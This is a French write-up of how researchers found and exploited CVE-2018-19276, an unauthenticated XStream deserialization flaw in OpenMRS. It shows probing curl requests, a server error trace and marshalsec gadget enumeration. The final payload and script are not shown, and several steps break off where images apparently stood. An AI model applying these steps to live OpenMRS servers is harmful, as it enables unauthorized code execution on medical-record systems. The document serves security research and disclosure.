
CVE-2018-19276 - Désérialisation d'objet non sécurisée RCE OpenMRS
Depuis https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
La désérialisation non sécurisée d'objets permet l'exécution de code arbitraire sans nécessiter de connexion. Les restrictions IP sur le module Webservices n'empêchent pas cette attaque.

Découvert par Nicolas Serra de Security Associate chez Bishop Fox.
Vérifions comment fonctionnent les services web REST d'OpenMRS en utilisant la documentation officielle :
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
Vérifions le correctif :
Nous pouvons trouver cette information :
Ils filtrent essentiellement le Content-type des requêtes POST quand c'est du XML, donc peut-être une XXE ou une désérialisation non sécurisée 👍
Vérifions à nouveau la documentation :

Eh bien, c'est intéressant, que se passe-t-il si nous envoyons du XML au service web REST ?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
L'erreur donne quelque chose de très intéressant : xstream.XStreamMarshaller
Essayons d'utiliser l'excellent outil marshalsec pour déclencher une RCE en utilisant la désérialisation Java.
Vérifions les gadgets disponibles :
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
À ce stade, j'utilise simplement la recherche GitHub sur chaque gadget de XStream pour trouver une occurrence. Seul le gadget ImageIO semble prometteur :

Essayons-le :

C'est ça !
python CVE-2018-19276.py
